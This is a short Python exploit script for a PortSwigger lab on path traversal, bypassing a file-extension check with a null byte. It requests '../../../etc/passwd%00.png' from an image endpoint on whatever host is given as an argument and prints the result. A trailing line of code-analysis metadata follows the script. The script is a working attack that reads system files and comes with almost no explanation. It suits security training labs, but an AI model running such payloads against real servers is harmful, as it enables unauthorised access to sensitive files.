"""
https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass
"""

import sys
import requests

site = sys.argv[1]
if 'https://' in site:
    site = site.rstrip('/').lstrip('https://')

url = f'''https://{site}/image?filename=../../../etc/passwd%00.png'''

s = requests.Session()

resp = s.get(url)
print(resp.text)
[((14, 4, 14, 22), 'requests.Session', 'requests.Session', ({}, {}), '()', False, 'import requests\n')]